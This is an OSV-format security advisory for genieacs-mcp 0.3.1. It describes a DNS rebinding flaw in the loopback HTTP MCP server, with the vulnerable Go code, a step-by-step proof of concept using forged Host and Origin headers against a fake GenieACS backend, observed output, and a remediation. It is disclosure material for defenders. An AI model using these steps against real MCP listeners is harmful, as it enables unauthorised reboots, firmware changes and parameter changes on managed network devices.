{"id":"GHSA-cmwv-wf9p-p8wx","summary":"genieacs-mcp: DNS rebinding reaches local GenieACS MCP Streamable HTTP transport","details":"`genieacs-mcp` exposes a local Streamable HTTP MCP endpoint that accepts attacker-controlled `Host` and `Origin` headers. A malicious web page can use DNS rebinding to route browser requests to a victim's loopback MCP listener while preserving the attacker origin. The server accepts the request, initializes an MCP session, lists GenieACS tools, and can invoke tools against the configured GenieACS NBI without a browser-supplied secret.\n\nThe affected package is `genieacs-mcp` version `0.3.1` at commit `4d7d3c74740efb7f3833aadc8a8e9177650eb462`.\n\nThe vulnerable transport setup is in `cmd/server/main.go`. When `TRANSPORT` is not `stdio`, the server creates a Streamable HTTP MCP handler:\n\n```go\n// cmd/server/main.go:92\nhttpSrv := server.NewStreamableHTTPServer(s)\naddr := os.Getenv(\"MCP_LISTEN_ADDR\")\nif addr == \"\" {\n    addr = \"127.0.0.1:8080\"\n}\nauthToken := os.Getenv(\"MCP_AUTH_TOKEN\")\nif authToken == \"\" && !isLoopbackAddr(addr) {\n    log.Fatal(\"MCP_AUTH_TOKEN is required when MCP_LISTEN_ADDR is not loopback\")\n}\nif authToken != \"\" {\n    mux := http.NewServeMux()\n    mux.Handle(\"/mcp\", bearerAuth(httpSrv, authToken))\n    log.Printf(\"GenieACS MCP bridge listening on %s (auth enabled)\", addr)\n    if err := http.ListenAndServe(addr, mux); err != nil {\n        log.Fatalf(\"server error: %v\", err)\n    }\n} else {\n    log.Printf(\"GenieACS MCP bridge listening on %s\", addr)\n    if err := httpSrv.Start(addr); err != nil {\n        log.Fatalf(\"server error: %v\", err)\n    }\n}\n```\n\nFor the default loopback listener, `MCP_AUTH_TOKEN` is not required. The unauthenticated branch calls `httpSrv.Start(addr)` directly. There is no middleware or MCP transport configuration that validates `Host` or `Origin` before `/mcp` handles the request.\n\nThe README documents loopback HTTP as the default deployment mode and says `MCP_AUTH_TOKEN` is required only when `MCP_LISTEN_ADDR` is non-loopback:\n\n```text\nTRANSPORT: empty = HTTP\nMCP_LISTEN_ADDR: 127.0.0.1:8080\nMCP_AUTH_TOKEN: empty, required when MCP_LISTEN_ADDR is non-loopback\n```\n\nThat leaves the browser-origin boundary as the missing control. DNS rebinding is designed to reach loopback listeners from a public web page unless the local server rejects attacker-controlled `Host` and `Origin` values.\n\n## Proof of concept\n\nThe following reproduction uses a fake GenieACS NBI with planted CPE data. It proves that attacker-shaped browser-origin headers reach the real MCP handler and that an MCP tool call reaches the configured GenieACS backend.\n\nStart a fake GenieACS NBI:\n\n```bash\npython3 - \u003c\u003c'PY'\nfrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServer\nimport json\nimport urllib.parse\n\nDEVICE_ID = \"00236A-FAKE-CPE-PWNED\"\n\nclass Handler(BaseHTTPRequestHandler):\n    def _json(self, value, status=200):\n        data = json.dumps(value, indent=2).encode()\n        self.send_response(status)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(data)))\n        self.end_headers()\n        self.wfile.write(data)\n\n    def do_GET(self):\n        print(\"FAKE_ACS_GET\", self.path, dict(self.headers), flush=True)\n        parsed = urllib.parse.urlparse(self.path)\n        if parsed.path.rstrip(\"/\") == \"/devices\":\n            self._json([{\n                \"_id\": DEVICE_ID,\n                \"_tags\": [\"poc-owned\"],\n                \"Device\": {\n                    \"DeviceInfo\": {\n                        \"SoftwareVersion\": {\"_value\": \"PLANTED-FAKE-FIRMWARE-9.9.9\"},\n                        \"SerialNumber\": {\"_value\": \"PLUTO-FAKE-CPE-0001\"}\n                    },\n                    \"ManagementServer\": {\n                        \"URL\": {\"_value\": \"https://acs-control.example.invalid/cwmp\"}\n                    }\n                }\n            }])\n            return\n        self._json({\"error\": \"not found\"}, 404)\n\n    def log_message(self, fmt, *args):\n        return\n\nThreadingHTTPServer((\"127.0.0.1\", 18083), Handler).serve_forever()\nPY\n```\n\nIn a second terminal, run the affected MCP server:\n\n```bash\ngit clone https://github.com/GeiserX/genieacs-mcp.git\ncd genieacs-mcp\ngit checkout 4d7d3c74740efb7f3833aadc8a8e9177650eb462\n\nGOCACHE=/tmp/genieacs_mcp_gocache \\\nGOPATH=/tmp/genieacs_mcp_gopath \\\ngo build -o /tmp/genieacs-mcp ./cmd/server\n\nACS_URL=http://127.0.0.1:18083 \\\nMCP_LISTEN_ADDR=127.0.0.1:8083 \\\n/tmp/genieacs-mcp\n```\n\nIn a third terminal, send MCP requests with forged browser-origin headers:\n\n```bash\npython3 - \u003c\u003c'PY'\nimport http.client\nimport json\n\nPORT = 8083\nPROTO = \"2024-11-05\"\nATTACKER_HOST = f\"attacker.example:{PORT}\"\n\ndef parse_rpc(text):\n    text = (text or \"\").strip()\n    if text.startswith(\"{\") or text.startswith(\"[\"):\n        return [json.loads(text)]\n    out = []\n    for line in text.splitlines():\n        line = line.strip()\n        if line.startswith(\"data:\"):\n            data = line[5:].strip()\n            if data and data != \"[DONE]\":\n                out.append(json.loads(data))\n    return out\n\nsid = None\n\ndef rpc(body):\n    global sid\n    headers = {\n        \"Host\": ATTACKER_HOST,\n        \"Origin\": \"http://\" + ATTACKER_HOST,\n        \"Content-Type\": \"application/json\",\n        \"Accept\": \"application/json, text/event-stream\",\n    }\n    if sid:\n        headers[\"Mcp-Session-Id\"] = sid\n        headers[\"MCP-Protocol-Version\"] = PROTO\n    conn = http.client.HTTPConnection(\"127.0.0.1\", PORT, timeout=10)\n    conn.request(\"POST\", \"/mcp\", json.dumps(body), headers)\n    res = conn.getresponse()\n    raw_headers = dict(res.getheaders())\n    if raw_headers.get(\"Mcp-Session-Id\"):\n        sid = raw_headers[\"Mcp-Session-Id\"]\n    text = res.read().decode(\"utf-8\", \"replace\")\n    conn.close()\n    return res.status, parse_rpc(text), text\n\ninit_status, init_msgs, init_raw = rpc({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"initialize\",\n    \"params\": {\n        \"protocolVersion\": PROTO,\n        \"capabilities\": {},\n        \"clientInfo\": {\"name\": \"genieacs-rebind-check\", \"version\": \"1\"}\n    }\n})\n\nnotify_status, _, _ = rpc({\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\", \"params\": {}})\n\ntools_status, tools_msgs, tools_raw = rpc({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 2,\n    \"method\": \"tools/list\",\n    \"params\": {}\n})\n\ncall_status, call_msgs, call_raw = rpc({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 3,\n    \"method\": \"tools/call\",\n    \"params\": {\n        \"name\": \"get_parameter\",\n        \"arguments\": {\n            \"device_id\": \"00236A-FAKE-CPE-PWNED\",\n            \"parameter_path\": \"Device.DeviceInfo.SoftwareVersion,Device.ManagementServer.URL\"\n        }\n    }\n})\n\nprint(\"initialize_status\", init_status)\nprint(\"session_created\", bool(sid))\nprint(\"initialized_notification_status\", notify_status)\nprint(\"tools_list_status\", tools_status)\nprint(tools_raw[:1200])\nprint(\"get_parameter_status\", call_status)\nprint(call_raw)\nPY\n```\n\nThe MCP request uses attacker-controlled browser-origin headers and no `Authorization` header:\n\n```http\nPOST /mcp HTTP/1.1\nHost: attacker.example:8083\nOrigin: http://attacker.example:8083\nContent-Type: application/json\nAccept: application/json, text/event-stream\n\n{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"genieacs-rebind-check\",\"version\":\"1\"}}}\n```\n\nObserved output:\n\n```text\ninitialize_status 200\nsession_created True\ninitialized_notification_status 202\ntools_list_status 200\n```\n\n`tools/list` returns 12 tools, including:\n\n```text\nconnection_request\ndelete_task\ndownload_firmware\nget_parameter\nmanage_preset\nmanage_provision\nreboot_device\nrefresh_parameter\nretry_task\nsearch_devices\nset_parameter\ntag_device\n```\n\nThe `get_parameter` tool call reaches the fake GenieACS NBI and returns the planted marker:\n\n```text\nCached parameter values: [\n  {\n    \"_id\": \"00236A-FAKE-CPE-PWNED\",\n    \"_tags\": [\n      \"poc-owned\"\n    ],\n    \"Device\": {\n      \"DeviceInfo\": {\n        \"SoftwareVersion\": {\n          \"_value\": \"PLANTED-FAKE-FIRMWARE-9.9.9\"\n        },\n        \"SerialNumber\": {\n          \"_value\": \"PLUTO-FAKE-CPE-0001\"\n        }\n      },\n      \"ManagementServer\": {\n        \"URL\": {\n          \"_value\": \"https://acs-control.example.invalid/cwmp\"\n        }\n      }\n    }\n  }\n]\n```\n\nThe fake GenieACS NBI also records the backend request from the MCP server:\n\n```text\nFAKE_ACS_GET /devices/?projection=Device.DeviceInfo.SoftwareVersion%2CDevice.ManagementServer.URL&query=%7B%22_id%22%3A%2200236A-FAKE-CPE-PWNED%22%7D\n```\n\n## Impact\n\nA malicious website can control a victim's local `genieacs-mcp` HTTP server when the victim runs the documented default loopback HTTP mode. The page can initialize MCP, list available tools, and invoke GenieACS operations through the server's configured `ACS_URL`.\n\nIn a real deployment, this can expose or modify CPE management state through GenieACS. The exposed tools include device reboot, firmware download task creation, TR-069 parameter changes, preset and provision management, tag changes, connection requests, task deletion, and task retry. Those actions execute with the MCP server's configured GenieACS access.\n\n## Why this is a vulnerability, not intended behavior\n\n- The project treats loopback HTTP as a safety boundary. The README documents `127.0.0.1:8080` as the default HTTP listen address and requires `MCP_AUTH_TOKEN` only for non-loopback listeners.\n- DNS rebinding bypasses the loopback-only assumption unless the local HTTP server validates `Host` and `Origin`.\n- PR #22 added bearer authentication for non-loopback listeners. It explicitly left loopback listeners unauthenticated for compatibility. That protects direct non-loopback exposure, but it does not protect the browser-origin path into a loopback listener.\n- A local trusted MCP client is the intended caller. A public web page is not.\n\n## Remediation\n\nAdd Host and Origin validation before the MCP handler accepts any request. For the default loopback mode, allow only local values such as:\n\n```text\nHost: 127.0.0.1:8080\nHost: localhost:8080\nOrigin: http://127.0.0.1:8080\nOrigin: http://localhost:8080\n```\n\nReject unexpected `Host` or `Origin` values before MCP initialization. Treat absent or non-local `Origin` on browser-reachable requests as suspicious unless the request is authenticated.\n\nAlso require a bearer token for HTTP transport even on loopback, or make `stdio` the default transport and require an explicit opt-in for unauthenticated loopback HTTP.","aliases":["CVE-2026-55637","GO-2026-6295"],"modified":"2026-08-26T15:25:39.689526070Z","published":"2026-08-25T18:05:28Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-08-25T18:05:28Z","nvd_published_at":null,"cwe_ids":["CWE-346"]},"references":[{"type":"WEB","url":"https://github.com/GeiserX/genieacs-mcp/security/advisories/GHSA-cmwv-wf9p-p8wx"},{"type":"WEB","url":"https://github.com/GeiserX/genieacs-mcp/pull/26"},{"type":"WEB","url":"https://github.com/GeiserX/genieacs-mcp/commit/577306d78190622eee97e362b042a69499ef373f"},{"type":"PACKAGE","url":"https://github.com/GeiserX/genieacs-mcp"},{"type":"WEB","url":"https://github.com/GeiserX/genieacs-mcp/releases/tag/v0.3.2"}],"affected":[{"package":{"name":"github.com/geiserx/genieacs-mcp","ecosystem":"Go","purl":"pkg:golang/github.com/geiserx/genieacs-mcp"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.3.2"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 0.3.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-cmwv-wf9p-p8wx/GHSA-cmwv-wf9p-p8wx.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N"}]}